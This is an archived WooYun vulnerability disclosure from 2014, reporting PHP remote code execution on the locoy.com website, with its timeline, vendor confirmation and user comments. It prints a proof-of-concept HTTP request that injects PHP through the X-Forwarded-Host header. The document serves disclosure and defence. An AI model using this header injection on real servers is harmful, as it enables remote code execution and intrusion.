当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-051962

漏洞标题：火车采集器官网存在PHP远程代码执行漏洞

相关厂商：locoy.com

漏洞作者： lucky

提交时间：2014-02-25 12:53

修复时间：2014-04-11 12:54

公开时间：2014-04-11 12:54

漏洞类型：命令执行

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-25： 细节已通知厂商并且等待厂商处理中
2014-02-26： 厂商已经确认，细节仅向厂商公开
2014-03-08： 细节向核心白帽子及相关领域专家公开
2014-03-18： 细节向普通白帽子公开
2014-03-28： 细节向实习白帽子公开
2014-04-11： 细节向公众公开

简要描述：

火车采集器官网主站存在PHP远程代码执行漏洞

详细说明：

GET /link/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
X-Forwarded-Host: ";print(md5(acunetix_wvs_security_test));$a="
Cookie: PHPSESSID=adtd1ft9torvr5prmakdljvbp3
Host: www.locoy.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

漏洞证明：

2.PNG

修复方案：

版权声明：转载请注明来源 lucky@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-02-26 13:28

厂商回复：

了解到f o r w a rd - fo r竟然可以直接影响到http-host变量，受教，谢谢了。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-25 12:55 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    神一样

  2. 2014-02-25 13:40 | 银狼_avi ( 实习白帽子 | Rank:55 漏洞数:13 | 本屌十二岁破处)

    肾一样

  3. 2014-02-25 14:04 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    绳一样

  4. 2014-02-25 15:58 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    婶一样

  5. 2014-02-25 16:21 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    深一样

  6. 2014-02-25 17:13 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    渗一样

  7. 2014-02-25 19:03 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    身一样

  8. 2014-02-26 15:34 | 宇少 ( 普通白帽子 | Rank:106 漏洞数:41 | Jyhack-TeaM：bbs.jyhack.com 群:308694453...)

    婶一样

  9. 2014-03-07 19:15 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫，是《红楼梦》原创的词汇，但后来演变...)

    伦一样

  10. 2014-03-07 20:02 | Black Angel ( 普通白帽子 | Rank:163 漏洞数:35 | 最神奇的一群人，智慧低调又内敛，俗称马甲...)

    慎一样

  11. 2014-03-07 23:14 | 小乐天 ( 实习白帽子 | Rank:64 漏洞数:14 | From KnownSec)

    什一样

  12. 2014-03-08 09:24 | 黑色的屌丝 ( 路人 | Rank:27 漏洞数:5 | →_→→_→)

    shen一样

  13. 2014-03-08 21:27 | 老黑 ( 普通白帽子 | Rank:161 漏洞数:61 | 最爱红颜不老。)

    15RANK么 还是按小厂商？

  14. 2014-03-18 13:55 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    原来是扫描器扫的啊

  15. 2014-03-28 18:09 | Sct7p ( 实习白帽子 | Rank:62 漏洞数:9 | 懂与不懂之间只隔了一层纸，懂的人会觉得很...)

    .....原来是wvs

  16. 2014-04-11 18:28 | Annabelle ( 实习白帽子 | Rank:46 漏洞数:15 | .)

    神一样

  17. 2014-04-13 20:55 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @locoy.com 卧槽！你是怎么发现这漏洞的！